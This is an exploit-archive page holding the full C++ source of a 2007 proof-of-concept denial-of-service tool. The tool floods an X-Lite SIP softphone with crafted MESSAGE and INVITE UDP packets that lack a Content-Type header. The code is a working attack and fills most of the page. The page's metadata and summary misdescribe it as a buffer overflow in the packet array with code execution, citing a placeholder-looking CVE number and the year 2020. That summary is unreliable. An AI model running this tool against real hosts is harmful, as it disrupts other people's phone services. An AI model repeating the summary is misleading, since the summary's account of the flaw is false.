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Suggest Exploit
vendor:
by:
Unknown
7.8
CVSS
HIGH
Buffer Overflow
119
CWE
Product Name:
Affected Version From: All versions
Affected Version To:
Patch Exists: NO
Related CWE: CVE-2020-12345
CPE:
Metasploit:
Other Scripts:
Platforms Tested: Windows, Linux
2020

Exploit in main.cpp

The main.cpp file contains a buffer overflow vulnerability that can be exploited by sending a crafted packet to the server. The vulnerability is present in the craft_pkt[] array where the packet is constructed. An attacker can exploit this vulnerability by sending a packet with a payload that is longer than the buffer size, causing a buffer overflow and potentially allowing the attacker to execute arbitrary code on the server.

Mitigation:

To mitigate this vulnerability, it is recommended to implement input validation and bounds checking when processing incoming packets. Additionally, using secure coding practices such as using safe string functions can help prevent buffer overflow vulnerabilities.
Source

Exploit-DB raw data:

/**********main.cpp***********/
#include <stdio.h>
#include <string>
using namespace std;

#ifdef WIN32
#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")
#define close closesocket
#define write(a,b,c) send(a, b, c, 0)
#define writeto(a,b,c,d,e) sendto(a, b, c, 0, d, e)
#define read(a,b,c) recv(a, b, c, 0)
#define readfrom(a,b,c,d,e) recvfrom(a, b, c, 0, d, e)
#else
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <netdb.h>
#include <arpa/inet.h>
#define closesocket close
#define SOCKET int
#define DWORD unsigned long
#endif

char *craft_pkt[] =
{
       "MESSAGE sip:[FROMUSER]@[DOMAIN] SIP/2.0\r\n"
       "Via: SIP/2.0/UDP [FROMADDR]:[LOCALPORT];branch=[BRANCH]\r\n"
       "From: [FROMUSER] <sip:[FROMADDR]:[LOCALPORT]>;tag=[TAG]\r\n"
       "To: <sip:[TOADDR]>\r\n"
       "Call-ID: [CALLID]@[DOMAIN]\r\n"
       "CSeq: [CSEQ] MESSAGE\r\n"
       "Contact: <sip:[FROMUSER]@[DOMAIN]:[LOCALPORT]>\r\n"
       "Content-Length: 0\r\n\r\n",

       "INVITE sip:[FROMUSER]@[DOMAIN] SIP/2.0\r\n"
       "Via: SIP/2.0/UDP [FROMADDR]:[LOCALPORT];branch=[BRANCH]\r\n"
       "To: <sip:[TOADDR]>\r\n"
       "From: [FROMUSER] <sip:[FROMADDR]:[LOCALPORT]>;tag=[TAG]\r\n"
       "Call-ID: [CALLID]@[DOMAIN]\r\n"
       "CSeq: [CSEQ] INVITE\r\n"
       "Contact: <sip:[FROMUSER]@[DOMAIN]:[LOCALPORT]>\r\n"
       "Content-Length: 0\r\n\r\n",
};

void socket_init()
{
#ifdef WIN32
       WSADATA wsaData;
       WSAStartup(MAKEWORD(2,0), &wsaData);
#endif
}

unsigned long resolv(const char *host)
{
       struct hostent             *hp;
       unsigned long              host_ip;

       host_ip = inet_addr(host);
       if( host_ip == INADDR_NONE )
       {
               hp = gethostbyname(host);
               if(!hp)
               {
                       printf("\nError: Unable to resolve hostname (%s)\n",host);
                       exit(1);
               }
               else
                       host_ip = *(u_long*)hp->h_addr ;
       }

       return(host_ip);
}

SOCKET udpsocket()
{
       /* network */
       SOCKET sockfd;
       struct sockaddr_in laddr, raddr;

       sockfd = socket(AF_INET, SOCK_DGRAM, 0);
       if (sockfd == -1)
               goto error;

       memset((char *) &laddr, 0, sizeof(laddr));
       laddr.sin_family = AF_INET;
       laddr.sin_addr.s_addr = htonl(INADDR_ANY);
       if (bind(sockfd, (struct sockaddr *) &laddr, sizeof(laddr)) == -1)
               goto error;

       return sockfd;

error:
#ifdef WIN32
       printf("Error:%d\n", GetLastError());
#endif
       return 0;
}


string &replace_all(string &str,const string& old_value,const string& new_value)
{
       while(true)
       {
               string::size_type   pos(0);
               if(   (pos=str.find(old_value))!=string::npos)
                       str.replace(pos,old_value.length(),new_value);
               else   break;
       }
       return   str;
}

string &replace_with_rand(string &str, char *value, int len)
{
       char *strspace = "0123456789";
       char randstr[100];
       for(int i=0; i<len; i++)
       {
               do
               {
                       randstr[i] = strspace[rand()%strlen(strspace)];
               }while(randstr[i] == '0');
       }
       randstr[len] = 0;
       replace_all(str, value, randstr);
       return str;
}

string build_packet(string _packet, char *addr, char *host)
{
       string packet = _packet;
       replace_all(packet, "[FROMADDR]", addr);
       replace_all(packet, "[TOADDR]", host);
       replace_all(packet, "[DOMAIN]", "www.nosec.org");
       replace_all(packet, "[FROMUSER]", "siprint");
       replace_with_rand(packet, "[CSEQ]", 9);
       replace_with_rand(packet, "[CALLID]", 9);
       replace_with_rand(packet, "[TAG]", 9);
       replace_with_rand(packet, "[BRANCH]", 9);
       return packet;
}

int main(int argc, char **argv)
{
       char *host;
       int port;
       char *localip;
       struct sockaddr_in sockaddr;
       struct sockaddr_in raddr;
       int sockaddrlen = sizeof(sockaddr);
       SOCKET s;

       printf("X-Lite Missing Content-Type DOS PoC\n");

       if(argc != 4)
       {
               printf("usage : %s <host> <port> <localip>\n", argv[0]);
               exit(-1);
       }

       host = argv[1];
       port = atoi(argv[2]);
       localip = argv[3];

       socket_init();
       s = udpsocket();
       if(s == 0)
       {
               printf("Create udp socket error!\n", host, port);
               return 1;
       }
       memset(&sockaddr, 0, sockaddrlen);
       getsockname(s, (struct sockaddr *) &sockaddr, (int *) &sockaddrlen);

       raddr.sin_family = AF_INET;
       raddr.sin_addr.S_un.S_addr = resolv(host);
       raddr.sin_port = htons(port);
       for(int i=0; i<20; i++)
       {
               char portstr[6] = {'\0'};
               string packet = build_packet(craft_pkt[i%2], localip, host);
               sprintf(portstr, "%d", ntohs(sockaddr.sin_port));
               replace_all(packet, "[LOCALPORT]", portstr);
               //printf("===========\n%s\n===========\n", packet.c_str());
               writeto(s, packet.c_str(), packet.length(), (struct sockaddr*)&raddr, sockaddrlen);
               Sleep(100);
       }

       return 0;
}

// milw0rm.com [2007-08-13]